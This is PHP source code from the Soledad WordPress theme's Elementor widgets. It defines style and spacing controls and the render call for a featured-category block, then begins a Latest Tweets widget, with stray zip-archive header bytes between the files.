			'type'      => Controls_Manager::SWITCHER,
			'condition' => array( 'cat_seemore' => 'yes' ),
		) );
		$this->add_control( 'cat_readmore_align', array(
			'label'       => __( 'Align "View All" Button', 'soledad' ),
			'type'        => Controls_Manager::CHOOSE,
			'options'     => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left'
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center'
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right'
				),
			),
			'default'     => 'left',
			'label_block' => true,
			'condition'   => array( 'cat_seemore' => 'yes' ),
		) );
		$this->add_responsive_control( 'cat_readmore_martop', array(
			'label'       => __( 'Custom Margin Top for "View All" Button', 'soledad' ),
			'type'        => Controls_Manager::SLIDER,
			'default'     => array( 'size' => '' ),
			'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors'   => array(
				'{{WRAPPER}} .penci-featured-cat-seemore' => 'margin-top: {{SIZE}}{{UNIT}} !important'
			),
			'condition'   => array( 'cat_seemore' => 'yes' ),
			'label_block' => true,
		) );


		$this->end_controls_section();

		// Post Spacing
		$this->start_controls_section( 'section_design_spacing', array(
			'label' => __( 'Elements Spacing', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$this->add_responsive_control( 'spacing_thumb', array(
			'label'       => __( 'Thumbnail Spacing', 'soledad' ),
			'type'        => Controls_Manager::SLIDER,
			'default'     => array( 'size' => '' ),
			'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors'   => array(
				'body:not(.rtl) {{WRAPPER}} .home-featured-cat-content .mag-post-box:not(.first-post) .magcat-thumb'   => 'margin-right: {{SIZE}}{{UNIT}}',
				'body.rtl {{WRAPPER}} .home-featured-cat-content .mag-post-box:not(.first-post) .magcat-thumb'         => 'margin-left: {{SIZE}}{{UNIT}}',
				'{{WRAPPER}} .penci-grid li .item > .thumbnail, {{WRAPPER}} .penci-masonry .item-masonry > .thumbnail' => 'margin-bottom: {{SIZE}}{{UNIT}}',
			),
			'label_block' => true,
		) );
		$this->add_responsive_control( 'spacing_title', array(
			'label'       => __( 'Title Spacing', 'soledad' ),
			'type'        => Controls_Manager::SLIDER,
			'default'     => array( 'size' => '' ),
			'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors'   => array(
				'{{WRAPPER}} .home-featured-cat-content .magcat-titlte.entry-title,{{WRAPPER}} .grid-title' => 'margin-bottom: {{SIZE}}{{UNIT}}'
			),
			'label_block' => true,
		) );
		$this->add_responsive_control( 'spacing_gheader', array(
			'label'       => __( 'Header Group Spacing', 'soledad' ),
			'type'        => Controls_Manager::SLIDER,
			'default'     => array( 'size' => '' ),
			'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors'   => array(
				'{{WRAPPER}} .grid-header-box' => 'padding-bottom: {{SIZE}}{{UNIT}}'
			),
			'label_block' => true,
		) );
		$this->add_responsive_control( 'spacing_meta', array(
			'label'       => __( 'Meta Spacing', 'soledad' ),
			'type'        => Controls_Manager::SLIDER,
			'default'     => array( 'size' => '' ),
			'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors'   => array(
				'{{WRAPPER}} .home-featured-cat-content .magcat-detail .mag-meta,{{WRAPPER}} .grid-post-box-meta,{{WRAPPER}} .grid-post-box-meta' => 'margin-top: {{SIZE}}{{UNIT}}'
			),
			'label_block' => true,
		) );
		$this->add_responsive_control( 'spacing_content', array(
			'label'       => __( 'Content/Excerpt Spacing', 'soledad' ),
			'type'        => Controls_Manager::SLIDER,
			'default'     => array( 'size' => '' ),
			'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors'   => array(
				'{{WRAPPER}} .item-content.entry-content' => 'margin-top: {{SIZE}}{{UNIT}}'
			),
			'condition'   => [ 'penci_style' => [ 'style-7' ] ],
			'label_block' => true,
		) );

		$this->add_responsive_control( 'bspacing_heading_text', array(
			'label'     => __( 'Spacing for Big Post', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
			'condition' => [
				'penci_style!' => [
					'style-3',
					'style-4',
					'style-5',
					'style-7',
					'style-8',
					'style-9',
					'style-11',
					'style-12',
					'style-13',
				]
			],
		) );

		$this->add_responsive_control( 'bspacing_btom', array(
			'label'       => __( 'Big Post Spacing to Bottom', 'soledad' ),
			'type'        => Controls_Manager::SLIDER,
			'default'     => array( 'size' => '' ),
			'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors'   => array(
				'{{WRAPPER}} .home-featured-cat-content .cat-left,{{WRAPPER}} .home-featured-cat-content.style-6 .cat-left,{{WRAPPER}} .home-featured-cat-content.style-2 .mag-post-box.first-post,{{WRAPPER}} .home-featured-cat-content.style-10 .mag-post-box.first-post,{{WRAPPER}} .home-featured-cat-content.style-14 .mag-post-box.first-post' => 'margin-bottom: {{SIZE}}{{UNIT}}',
			),
			'label_block' => true,
			'condition'   => [
				'penci_style' => [
					'style-1',
					'style-2',
					'style-6',
					'style-10',
					'style-14',
				]
			],
		) );

		$this->add_responsive_control( 'bspacing_thumb', array(
			'label'       => __( 'Thumbnail Spacing', 'soledad' ),
			'type'        => Controls_Manager::SLIDER,
			'default'     => array( 'size' => '' ),
			'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors'   => array(
				'{{WRAPPER}} .home-featured-cat-content:not(.style-6) .mag-post-box.first-post .magcat-thumb'                   => 'margin-bottom: {{SIZE}}{{UNIT}}',
				'{{WRAPPER}} .penci-featured-cat-sc .home-featured-cat-content.style-6 .mag-post-box.first-post .magcat-detail' => 'padding-left: {{SIZE}}{{UNIT}}'
			),
			'label_block' => true,
			'condition'   => [
				'penci_style!' => [
					'style-3',
					'style-4',
					'style-5',
					'style-7',
					'style-8',
					'style-9',
					'style-11',
					'style-12',
					'style-13',
				]
			],
		) );
		$this->add_responsive_control( 'bspacing_title', array(
			'label'       => __( 'Title Spacing', 'soledad' ),
			'type'        => Controls_Manager::SLIDER,
			'default'     => array( 'size' => '' ),
			'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors'   => array(
				'{{WRAPPER}} .home-featured-cat-content .first-post .magcat-detail .mag-header .magcat-titlte.entry-title' => 'margin-bottom: {{SIZE}}{{UNIT}}'
			),
			'label_block' => true,
			'condition'   => [
				'penci_style!' => [
					'style-3',
					'style-4',
					'style-5',
					'style-7',
					'style-8',
					'style-9',
					'style-11',
					'style-12',
					'style-13',
				]
			],
		) );
		$this->add_responsive_control( 'bspacing_meta', array(
			'label'       => __( 'Meta Spacing', 'soledad' ),
			'type'        => Controls_Manager::SLIDER,
			'default'     => array( 'size' => '' ),
			'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors'   => array(
				'{{WRAPPER}} .home-featured-cat-content .first-post .magcat-detail .mag-meta' => 'margin-top: {{SIZE}}{{UNIT}}'
			),
			'label_block' => true,
			'condition'   => [
				'penci_style!' => [
					'style-3',
					'style-4',
					'style-5',
					'style-7',
					'style-8',
					'style-9',
					'style-11',
					'style-12',
					'style-13',
				]
			],
		) );
		$this->add_responsive_control( 'bspacing_hgroup', array(
			'label'       => __( 'Header Group Spacing Top', 'soledad' ),
			'type'        => Controls_Manager::SLIDER,
			'default'     => array( 'size' => '' ),
			'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors'   => array(
				'{{WRAPPER}} .home-featured-cat-content .first-post .magcat-detail .mag-header' => 'padding-bottom: {{SIZE}}{{UNIT}};'
			),
			'label_block' => true,
			'condition'   => [
				'penci_style!' => [
					'style-3',
					'style-4',
					'style-5',
					'style-7',
					'style-8',
					'style-9',
					'style-11',
					'style-12',
					'style-13',
				]
			],
		) );
		$this->add_responsive_control( 'bspacing_hgroup_b', array(
			'label'       => __( 'Header Group Spacing Bottom', 'soledad' ),
			'type'        => Controls_Manager::SLIDER,
			'default'     => array( 'size' => '' ),
			'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors'   => array(
				'{{WRAPPER}} .home-featured-cat-content .first-post .magcat-detail .mag-header' => 'margin-bottom: {{SIZE}}{{UNIT}};'
			),
			'label_block' => true,
			'condition'   => [
				'penci_style!' => [
					'style-3',
					'style-4',
					'style-5',
					'style-7',
					'style-8',
					'style-9',
					'style-11',
					'style-12',
					'style-13',
				]
			],
		) );
		$this->add_responsive_control( 'bspacing_content', array(
			'label'       => __( 'Post Excerpt/Content Spacing', 'soledad' ),
			'type'        => Controls_Manager::SLIDER,
			'default'     => array( 'size' => '' ),
			'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors'   => array(
				'{{WRAPPER}} .home-featured-cat-content .first-post .magcat-detail .mag-excerpt' => 'margin-top: {{SIZE}}{{UNIT}};'
			),
			'label_block' => true,
			'condition'   => [
				'penci_style!' => [
					'style-3',
					'style-4',
					'style-5',
					'style-7',
					'style-8',
					'style-9',
					'style-11',
					'style-12',
					'style-13',
				]
			],
		) );

		$this->end_controls_section();

		$this->register_block_title_ajax_filter( true );

		$this->register_block_title_section_controls_post();

		// Design
		$this->start_controls_section( 'section_design_general', array(
			'label' => __( 'Featured Cat', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );
		$this->add_control( 'wrapborder_color', array(
			'label'     => __( 'Wrapper Borders Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .home-featured-cat-content.style-15' => 'border-color: {{VALUE}};' ),
			'condition' => array( 'penci_style' => array( 'style-15' ) ),
		) );

		$this->add_responsive_control( 'padding_around', array(
			'label'      => __( 'Add Padding Around Post Items', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .home-featured-cat-content .mag-post-box, {{WRAPPER}} .style-5 .magcat-thumb, {{WRAPPER}} .style-12 .magcat-thumb' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}} !important; border: 1px solid var(--pcborder-cl);'
			),
			'condition'  => [
				'penci_style!' => [
					'style-3',
					'style-4',
					'style-7',
					'style-8',
					'style-11',
					'style-13',
				]
			],
		) );

		$this->add_responsive_control( 'borders_around', array(
			'label'      => __( 'Borders Width Around Post Items', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .home-featured-cat-content .mag-post-box, {{WRAPPER}} .style-5 .magcat-thumb, {{WRAPPER}} .style-12 .magcat-thumb' => 'border-style: solid; border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}} !important;'
			),
			'condition'  => [
				'penci_style!' => [
					'style-3',
					'style-4',
					'style-7',
					'style-8',
					'style-11',
					'style-13',
				]
			],
		) );

		$this->add_control( 'pbg_around', array(
			'label'     => __( 'Add Background Color for Post Items?', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( 'body:not(.pcdm-enable) {{WRAPPER}} .home-featured-cat-content .mag-post-box, body:not(.pcdm-enable) {{WRAPPER}} .style-5 .magcat-thumb, {{WRAPPER}} .style-12 .magcat-thumb' => 'background-color: {{VALUE}};' ),
			'condition' => [
				'penci_style!' => [
					'style-3',
					'style-4',
					'style-7',
					'style-8',
					'style-11',
					'style-13',
				]
			],
		) );

		$this->add_control( 'pborder_color', array(
			'label'     => __( 'Post Items Borders Color ', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .home-featured-cat-content .mag-post-box,{{WRAPPER}} .penci-grid li.list-post, {{WRAPPER}} .style-5 .magcat-thumb, {{WRAPPER}} .style-12 .magcat-thumb' => 'border-color: {{VALUE}};' ),
		) );

		// Post title
		$this->add_control( 'heading_ptittle_settings', array(
			'label'     => __( 'Posts Title', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );
		$this->add_control( 'ptitle_color', array(
			'label'     => __( 'Post Title Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .penci-grid li .item h2 a'                                  => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-masonry .item-masonry h2 a'                          => 'color: {{VALUE}};',
				'{{WRAPPER}} .home-featured-cat-content .magcat-detail h3 a'             => 'color: {{VALUE}};',
				'{{WRAPPER}} .home-featured-cat-content.style-14 .magcat-padding:before' => 'border-color: {{VALUE}};',
			),
		) );
		$this->add_control( 'ptitle_hcolor', array(
			'label'     => __( 'Post Title Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .penci-grid li .item h2 a:hover'                      => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-masonry .item-masonry h2 a:hover'              => 'color: {{VALUE}};',
				'{{WRAPPER}} .home-featured-cat-content .magcat-detail h3 a:hover' => 'color: {{VALUE}};',
			),
		) );
		$this->add_control( 'bptitle_color', array(
			'label'     => __( 'Post Title Color of Big Post', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .home-featured-cat-content .first-post .magcat-detail h3 a' => 'color: {{VALUE}} !important;' ),
			'condition' => array( 'penci_style' => array( 'style-14', 'style-15' ) ),
		) );
		$this->add_control( 'bptitle_hcolor', array(
			'label'     => __( 'Post Title Hover Color of Big Post', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .home-featured-cat-content .first-post .magcat-detail h3 a:hover' => 'color: {{VALUE}} !important;' ),
			'condition' => array( 'penci_style' => array( 'style-14', 'style-15' ) ),
		) );
		$this->add_control( 'title_hcolor_effect', array(
			'label'     => __( 'Enable Hover Border Color', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'selectors' => array(
				'{{WRAPPER}} .entry-title a' 		=> 'background-image: linear-gradient(var(--pcaccent-cl) 0%, var(--pcaccent-cl) 98%);background-size: 0 1px;background-repeat: no-repeat;background-position: left 100%;word-break: break-word;transition: 0.3s all ease-in-out;',
				'{{WRAPPER}} .entry-title a:hover'  => 'background-size: 100% 1px;',
			),
		) );
		$this->add_control( 'title_hcolor_effect_color', array(
			'label'     => __( 'Hover Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .entry-title a' => 'background-image: linear-gradient({{VALUE}} 0%, {{VALUE}} 98%)' ),
			'condition' => array( 'title_hcolor_effect' => 'yes' ),
		) );
		$this->add_responsive_control( 'bptitle_fsize', array(
			'label'     => __( 'Font Size for Title of Big Post', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .home-featured-cat-content .first-post .magcat-detail h3 a' => 'font-size: {{SIZE}}px' ),
			'condition' => array(
				'penci_style' => array(
					'style-1',
					'style-2',
					'style-6',
					'style-10',
					'style-14',
					'style-15'
				)
			),
		) );
		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'ptitle_typo',
			'selector' => '{{WRAPPER}} .home-featured-cat-content .magcat-detail h3 a,{{WRAPPER}} .penci-grid li .item h2 a,{{WRAPPER}} .penci-masonry .item-masonry h2 a',
		) );

		// Box Shadow
		$this->add_control( 'heading_featured_image_shadow', array(
			'label'     => __( 'Featured Image Shadow', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'featured_image_shadow_enable', array(
			'label' => __( 'Enable Shadow?', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_responsive_control( 'featured_image_shadow', array(
			'label'     => __( 'Image Shadow', 'soledad' ),
			'type'      => Controls_Manager::BOX_SHADOW,
			'selectors' => [
				'{{WRAPPER}} .magcat-thumb' => 'box-shadow: {{HORIZONTAL}}px {{VERTICAL}}px {{BLUR}}px {{SPREAD}}px {{COLOR}} {{box_shadow_position.VALUE}};',
			],
			'condition' => [ 'featured_image_shadow_enable' => 'yes' ]
		) );

		// Post meta
		$this->add_control( 'heading_pmeta_settings', array(
			'label'     => __( 'Posts Meta', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );
		$this->add_control( 'pmeta_color', array(
			'label'     => __( 'Post Meta Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .home-featured-cat-content .grid-post-box-meta span a'                => 'color: {{VALUE}};',
				'{{WRAPPER}} .home-featured-cat-content .grid-post-box-meta span'                  => 'color: {{VALUE}};',
				'{{WRAPPER}} .home-featured-cat-content .mag-photo .grid-post-box-meta span:after' => 'color: {{VALUE}};',
			),
		) );
		$this->add_control( 'pmeta_hcolor', array(
			'label'     => __( 'Post Meta Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .grid-post-box-meta span a.comment-link:hover' => 'color: {{VALUE}};',
				'{{WRAPPER}} .grid-post-box-meta span a:hover'              => 'color: {{VALUE}};',
			),
		) );
		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'pmeta_typo',
			'selector' => '{{WRAPPER}} .home-featured-cat-content .grid-post-box-meta',
		) );
		// Post excrept
		$this->add_control( 'heading_pexcrept_settings', array(
			'label'     => __( 'Posts Excerpt', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );
		$this->add_control( 'pexcerpt_color', array(
			'label'     => __( 'Post Excerpt Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .entry-content' => 'color: {{VALUE}};' ),
		) );
		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'pexcerpt_typo',
			'selector' => '{{WRAPPER}} .entry-content,{{WRAPPER}} .entry-content p',
		) );

		// Post category
		$this->add_control( 'heading_pcat_settings', array(
			'label'     => __( 'Categories', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );
		$this->add_control( 'pcat_color', array(
			'label'     => __( 'Categories Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .cat > a.penci-cat-name'       => 'color: {{VALUE}};',
				'{{WRAPPER}} .cat > a.penci-cat-name:after' => 'color: {{VALUE}};',
			),
		) );
		$this->add_control( 'pcat_hcolor', array(
			'label'     => __( 'Categories Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .cat > a.penci-cat-name:hover' => 'color: {{VALUE}};' ),
		) );
		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'pcat_typo',
			'selector' => '{{WRAPPER}} .cat > a.penci-cat-name',
		) );

		// Button
		$this->add_control( 'heading_pbutton_settings', array(
			'label'     => __( 'View all" Button', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'cat_viewall_color', array(
			'label'     => __( 'Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .penci-featured-cat-seemore a,{{WRAPPER}} .penci-featured-cat-seemore.penci-btn-make-button a' => 'color: {{VALUE}};',
			),
			'condition' => array( 'cat_seemore' => 'yes' ),
		) );
		$this->add_control( 'cat_viewall_bgcolor', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .penci-featured-cat-seemore.penci-btn-make-button a' => 'background-color: {{VALUE}};',
			),
			'condition' => array( 'cat_seemore' => 'yes' ),
		) );
		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'pviewall_typo',
			'selector' => '{{WRAPPER}} .penci-featured-cat-seemore a',
		) );

		// Dots Navigations

		$this->add_control( 'heading_pagi_style', array(
			'label'     => __( 'Dots Pagination', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
			'condition' => array( 'penci_style' => array( 'style-4', 'style-5', 'style-12' ) ),
		) );

		$this->add_control( 'dots_bg_color', array(
			'label'     => __( 'Dot Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-dot span,{{WRAPPER}} .penci-owl-carousel .penci-owl-dot span,{{WRAPPER}} .swiper-container .progress' => 'background-color: {{VALUE}};' ),
			'condition' => array( 'penci_style' => array( 'style-4', 'style-5', 'style-12' ) ),
		) );

		$this->add_control( 'dots_bd_color', array(
			'label'     => __( 'Dot Borders Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-dot span' => 'border-color: {{VALUE}};' ),
			'condition' => array( 'penci_style' => array( 'style-4', 'style-5', 'style-12' ) ),
		) );

		$this->add_control( 'dots_bga_color', array(
			'label'     => __( 'Dot Borders Active Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => array( 'penci_style' => array( 'style-4', 'style-5', 'style-12' ) ),
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-dot.active span,{{WRAPPER}} .penci-owl-carousel .penci-owl-dot.active span' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_bda_color', array(
			'label'     => __( 'Dot Borders Active Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => array( 'penci_style' => array( 'style-4', 'style-5', 'style-12' ) ),
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-dot.active span' => 'border-color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_cs_w', array(
			'label'     => __( 'Dot Width', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 5, 'max' => 200, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-dot span' => 'width: {{SIZE}}px;height: {{SIZE}}px;' ),
			'condition' => array( 'penci_style' => array( 'style-4', 'style-5', 'style-12' ) ),
		) );

		$this->add_control( 'dots_csbd_w', array(
			'label'     => __( 'Dot Borders Width', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-dot span' => 'border-width: {{SIZE}}px;' ),
			'condition' => array( 'penci_style' => array( 'style-4', 'style-5', 'style-12' ) ),
		) );

		$this->end_controls_section();

		$this->register_block_heading_link_section_style();
		$this->register_penci_bookmark_style_groups();
		$this->register_paywall_premium_heading_style_groups();
		$this->register_block_title_style_section_controls();

	}

	/**
	 * Get image sizes.
	 *
	 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
	 */
	public function get_list_image_sizes( $default = false ) {
		$wp_image_sizes = $this->get_all_image_sizes();

		$image_sizes = array();

		if ( $default ) {
			$image_sizes[''] = esc_html__( 'Default', 'soledad' );
		}

		foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
			$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
			if ( is_array( $size_attributes ) ) {
				$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
			}

			$image_sizes[ $size_key ] = $control_title;
		}

		$image_sizes['full'] = esc_html__( 'Full', 'soledad' );

		return $image_sizes;
	}

	public function get_all_image_sizes() {
		global $_wp_additional_image_sizes;

		$default_image_sizes = [ 'thumbnail', 'medium', 'medium_large', 'large' ];

		$image_sizes = [];

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ] = [
				'width'  => (int) get_option( $size . '_size_w' ),
				'height' => (int) get_option( $size . '_size_h' ),
				'crop'   => (bool) get_option( $size . '_crop' ),
			];
		}

		if ( $_wp_additional_image_sizes ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		return $image_sizes;
	}

	protected function render() {
		$settings             = $this->get_settings();
		$penci_columns        = isset( $settings['penci_columns'] ) ? $settings['penci_columns'] : '';
		$penci_columns_tablet = isset( $settings['penci_columns_tablet'] ) ? $settings['penci_columns_tablet'] : $penci_columns;
		$penci_columns_mobile = isset( $settings['penci_columns_mobile'] ) ? $settings['penci_columns_mobile'] : $penci_columns;

		$query_args = Module::get_query_args( 'posts', $settings );

		echo \Soledad_VC_Shortcodes::featured_cat( array(
			'heading'                => $settings['heading'],
			'hide_block_heading'     => $settings['hide_block_heading'],
			'heading_title_style'    => $settings['heading_title_style'],
			'heading_title_html_tag' => $settings['heading_title_html_tag'],
			'heading_title_link'     => $settings['heading_title_link'],
			'heading_title_align'    => $settings['block_title_align'],
			'heading_icon_pos'       => $settings['heading_icon_pos'],
			'heading_icon'           => $settings['heading_icon'],
			'cat_seemore'            => $settings['cat_seemore'],
			'cat_view_link'          => $settings['cat_view_link'],
			'cat_remove_arrow'       => $settings['cat_remove_arrow'],
			'cat_readmore_button'    => $settings['cat_readmore_button'],
			'cat_readmore_align'     => $settings['cat_readmore_align'],

			'penci_featimg_size'  => isset( $settings['penci_featimg_size'] ) ? $settings['penci_featimg_size'] : '',
			'penci_featimg_ratio' => isset( $settings['penci_featimg_ratio'] ) ? $settings['penci_featimg_ratio'] : '',
			'thumb_size'          => $settings['thumb_size'],
			'thumb15'             => $settings['thumb15'],

			'enable_meta_overlay' => $settings['enable_meta_overlay'],
			'hide_author'         => $settings['hide_author'],
			'show_author_sposts'  => $settings['show_author_sposts'],
			'hide_readtime'       => $settings['hide_readtime'],
			'hide_cat'            => $settings['hide_cat'],
			'hide_icon_format'    => $settings['hide_icon_format'],
			'hide_date'           => $settings['hide_date'],
			'hide_excerpt'        => $settings['hide_excerpt'],
			'hide_excerpt_line'   => $settings['hide_excerpt_line'],
			'cat_autoplay'        => $settings['cat_autoplay'],
			'_excerpt_length'     => $settings['_excerpt_length'],
			'big_title_length'    => $settings['big_title_length'],
			'_title_length'       => $settings['_title_length'],

			'penci_columns'        => $settings['penci_columns'],
			'penci_columns_tablet' => $penci_columns_tablet,
			'penci_columns_mobile' => $penci_columns_mobile,
			'penci_column_gap'     => isset( $settings['penci_column_gap'] ) ? $settings['penci_column_gap'] : '',
			'penci_row_gap'        => $settings['penci_row_gap'],
			'show_viewscount'      => $settings['show_viewscount'],
			'show_commentcount'    => $settings['show_commentcount'],

			'style'                      => $settings['penci_style'],
			'elementor_query'            => $query_args,
			'biggrid_ajaxfilter_cat'     => $settings['biggrid_ajaxfilter_cat'],
			'biggrid_ajaxfilter_tag'     => $settings['biggrid_ajaxfilter_tag'],
			'biggrid_ajaxfilter_author'  => $settings['biggrid_ajaxfilter_author'],
			'group_more_link_text'       => $settings['group_more_link_text'],
			'group_more_defaultab_text'  => $settings['group_more_defaultab_text'],
			'biggrid_ajax_loading_style' => $settings['biggrid_ajax_loading_style'],
			'paging'                     => $settings['paging'],

			'validator' => $settings['cspost_enable'],
			'keys'      => $settings['cspost_cpost_meta'],
			'acf'       => $settings['cspost_cpost_acf_meta'],
			'label'     => $settings['cspost_cpost_meta_label'],
			'divider'   => $settings['cspost_cpost_meta_divider'],

			'wrapper_css' => isset( $settings['paywall_heading_text_style'] ) ? ' pencipw-hd-' . $settings['paywall_heading_text_style'] : '',
		) );
	}
}
PK     N\F?"  "  4  inc/elementor/modules/penci-latest-tweets/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciLatestTweets;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-latest-tweets';
	}

	public function get_widgets() {
		return array( 'PenciLatestTweets' );
	}
}
PK     N\?  ?  I  inc/elementor/modules/penci-latest-tweets/widgets/penci-latest-tweets.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciLatestTweets\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use PenciSoledadElementor\Base\Base_Widget;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciLatestTweets extends Base_Widget {

	public function get_name() {
		return 'penci-latest-tweets';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Latest Tweets', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-gallery-grid';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'tweets', 'social' );
	}

	protected function register_controls() {


		// Section layout
		$this->start_controls_section( 'section_page', array(
			'label' => esc_html__( 'Latest Tweets', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );
		$this->add_control( 'note_important', array(
			'type'            => Controls_Manager::RAW_HTML,
			'raw'             => sprintf( __( 'Note Important: To use this widget you need to connect your Twitter account <a target="_blank" href="%s">here</a>', 'soledad' ), admin_url( 'admin.php?page=penci_twitter_token' ) ),
			'content_classes' => 'elementor-panel-alert elementor-panel-alert-info',

		) );
		$this->add_control( 'tweets_style', array(
			'label'   => __( 'Layout', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'slider',
			'options' => array(
				'slider' => esc_html__( 'Slider', 'soledad' ),
				'list'   => esc_html__( 'List', 'soledad' ),
			)
		) );
		$this->add_control( 'tweets_align', array(
			'label'     => __( 'Align This Widget', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => 'pc_aligncenter',
